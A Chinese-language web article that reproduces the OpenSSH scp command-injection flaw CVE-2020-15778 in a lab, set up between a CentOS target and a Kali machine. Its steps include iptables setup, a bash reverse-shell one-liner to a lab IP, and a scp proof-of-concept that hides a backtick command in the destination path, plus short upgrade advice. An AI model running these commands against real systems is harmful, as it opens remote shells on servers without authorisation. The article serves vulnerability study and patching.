溫馨提示×
您好，登錄后才能下訂單哦！
點擊 登錄注冊 即表示同意《億速云用戶服務條款》
您好，登錄后才能下訂單哦！
這期內容當中小編將會給大家帶來有關OpenSSH 命令注入漏洞CVE-2020-15778的示例分析，文章內容豐富且以專業的角度為大家分析和敘述，閱讀完這篇文章希望大家可以有所收獲。
CVE編號：CVE-2020-15778
發布時間：2020-07-24
危害等級：高危
漏洞版本：<= openssh-8.3p1
漏洞描述：OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在操作系統命令注入漏洞。該漏洞即使在禁用ssh登錄的情況下，但是允許使用scp傳文件，而且遠程服務器允許使用反引號(`)，可利用scp復制文件到遠程服務器時，執行帶有payload的scp命令，從而在后續利用中getshell。
利用條件：知道目標的ssh密碼
設置iptables策略模擬僅允許使用scp的場景，讓該漏洞在特殊環境下實現命令注入。
靶機環境：Centos 7
滲透機環境：Kali 2019版本
1、查看ssh版本
ssh -V
測試為漏洞存在版本。
2、測試ssh與scp在正常情況下的使用情況。
可以正常使用。
3、執行ervice iptables status 檢查是否安裝iptables，若已安裝IP tables，可跳過第三步。
（1）安裝iptables
yum install -y iptables
（2）安裝iptables-services
yum install iptables-services
（3）centOS7默認自帶firewalld
先停止firewalld服務 systemctl stop firewalld 禁用firewalld服務 systemctl mask firewalld
（4）查看現有規則
iptables -L -vn
iptables -F是清空默認規則
iptables -L -n --line-number 顯示規則和相對應的編號
4、在Centos中設置iptables策略，禁用ssh遠程連接，但開放scp。
命令：
service iptables start iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP service iptables save iptables -L -n --line-number
5、測試ssh與scp在已設置iptables策略下的使用情況。
1、在kali創建一個1.sh文件，并寫入一個反彈shell的bash命令。
bash -i >& /dev/tcp/192.168.207.156/4444 0>&1
2、使用scp命令，把該文件上傳到靶機的/tmp下
3、在新建的命令行頁面中輸入命令：
4、使用POC，遠程執行命令。
scp 1.sh root@192.168.207.156:'`sh /tmp/1.sh`'
5、可以看到，在輸完密碼后，稍等一會就已經成功反彈了shell，實驗結束。
1、先確保ssh密碼沒有泄露，等一波openssh的新版本吧
2、升級ssh版本
3、等待廠商發布補丁
上述就是小編為大家分享的OpenSSH 命令注入漏洞CVE-2020-15778的示例分析了，如果剛好有類似的疑惑，不妨參照上述分析進行理解。如果想知道更多相關知識，歡迎關注億速云行業資訊頻道。
免責聲明：本站發布的內容（圖片、視頻和文字）以原創、轉載和分享為主，文章觀點不代表本網站立場，如果涉及侵權請聯系站長郵箱：is@yisu.com進行舉報，并提供相關證據，一經查實，將立刻刪除涉嫌侵權內容。
